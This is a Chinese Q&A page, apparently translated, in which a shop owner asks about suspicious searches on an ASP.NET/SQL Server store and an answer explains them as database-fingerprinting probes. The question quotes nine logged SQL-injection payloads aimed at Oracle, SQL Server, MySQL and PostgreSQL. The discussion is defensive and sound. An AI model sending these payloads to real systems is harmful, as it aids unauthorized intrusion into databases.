当前位置: 首页 > 面试题库 >

商店搜索中的SQL注入模式

彭建业
2023-03-14
问题内容

从今天早上开始,我们开始在电子商务商店中关注搜索查询。我了解它的SQL注入。我们也在使用参数化查询。因此,它没有造成任何伤害。但是由于要进行查询,全文搜索需要花费一些时间才能处理,最终导致超时,并且网站被挂起了一段时间。

随即,我将最大的租船人搜索限制为75,并增加了检测sql注入并防止它到达sql server的逻辑,以提高安全性。

我们的环境:带有全文搜索的ASP.Net电子商务站点SQL Server 2012 Express DB。Windows 2012标准服务器

只想知道搜索者正在尝试理解/研究的内容吗? 还是他们只是想挂掉网站?经过上述修复后,可以安全地忽略它吗?

搜索词在下面给出。“输入型号或墨盒代码”是我们的默认搜索文本框文本。

Enter Model Number or Cartridge Code) AND 2895=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2895=2895) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)||CHR(62))) FROM DUAL) AND (9170=9170

Enter Model Number or Cartridge Code’) AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113))) AND (‘KzHP’=’KzHP

Enter Model Number or Cartridge Code%’ AND (SELECT 2396 FROM(SELECT COUNT(),CONCAT(0x7170617a71,(SELECT (CASE WHEN (2396=2396) THEN 1 ELSE 0 END)),0x7177637971,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘%’=’

Enter Model Number or Cartridge Code%’ AND 4201=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(97)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4201=4201) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(99)+CHAR(121)+CHAR(113))) AND ‘%’=’

Enter Model Number or Cartridge Code’) AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND (‘iWJF’=’iWJF

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))– ZgIZ

Enter Model Number or Cartridge Code) AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND (8167=8167

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))

Enter Model Number or Cartridge Code AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC)– CuDa


问题答案:

作为SQL注入专家,这些似乎只是通用查询,以了解是否存在SQL注入以及它是哪种数据库类型。您可以看到,在某些情况下,他使用的是CHR(即Oracle的从版本到数字的版本),在其他情况下,他使用的是CHAR(即其他DB的函数名(SQL
Server)),在另一种情况下,他使用了INFORMATION_SCHEMA.CHARACTER_SETS
table是MySQL中的表格。他只需发送几个常规查询来查找进样和数据库类型。但是,如果您的站点对此感到困惑,则除了长度验证外,还应该对特殊字符(方括号?)进行一些更好的输入验证



 类似资料:
  • 利用 Google API 实现搜索附近商店、银行、学校等等POI。点击地点的标注(Annotation)会有弹出气泡视图的动画效果。需申请自己的API Key 进行替换使用,详见官方文档:https://developers.google.com/places/documentation/ 。 [Code4App.com]

  • 问题内容: 我正在尝试为我的网站创建一个产品搜索,用户可以在其中搜索多种语言的产品,如果没有完全匹配的内容,则(希望)获得模糊的搜索结果。 我有一个带有列的表。 该列指的是其各自表中产品的ID。 这些列具有各种语言的每种产品的翻译后的meta。 元只是由空格分隔的关键字 是搜索词。 指用户选择的语言 因此,首先,我执行一个基本的“ LIKE” SQL查询以查看是否存在匹配项,如果没有结果,则查询所

  • 问题内容: 我只是从ElasticSearch开始,然后尝试基于它来实现自动完成功能。 我有一个带有type 字段的索引。这是存储在该索引中的文档的示例: 分析配置如下所示: 映射: 我将以下查询发送到ES: 结果,我得到以下信息: 在大多数情况下,它是有效的。在用户必须实际键入整个单词之前,它确实找到了带有的文档(足够了)。 这就是我的问题。我也希望它返回。要获取,我需要发送以下查询: 注意那里

  • 应用内搜索 当应用内包含大量信息的时候,用户希望能够通过搜索快速地定位到特定内容。 最基本的搜索包括以下过程: 打开一个搜索文本框 输入查询并提交 显示搜索结果集 然而,可以通过加入一些增强功能来显著提升搜索体验: 启用语音搜索 提供基于用户最近历史查询的搜索建议,即使是在输入查询之前 提供满足应用数据中实际结果的自动完成搜索建议 应用内搜索中有两种主要的模式:持久性搜索(persistent s

  • 本文向大家介绍vim 搜索模式,包括了vim 搜索模式的使用技巧和注意事项,需要的朋友参考一下 示例 在搜索文件时,Vim支持使用正则表达式。 表示您希望执行搜索的字符是/。 您可以执行的最简单的搜索如下 这将在整个文件中搜索的所有实例if。但是,我们的搜索if实际上是一个正则表达式,它将匹配单词的任何出现(if包括其他单词内部的匹配)。 举例来说,我们的搜索会说所有的下列单词匹配我们的搜索:if

  • 问题内容: 我需要在全文搜索和索引搜索之间进行操作: 我想在表的一列中搜索文本(如果很重要的话,该列上也可能会有一个索引)。 问题是,我想搜索列中的单词,但是我不想匹配部分。 例如,我的列中可能包含公司名称: Mighty Muck Miller and Partners Inc. Boy&Butter Breakfast company 现在,如果我搜索“ Miller ”,我想找到第一行。但是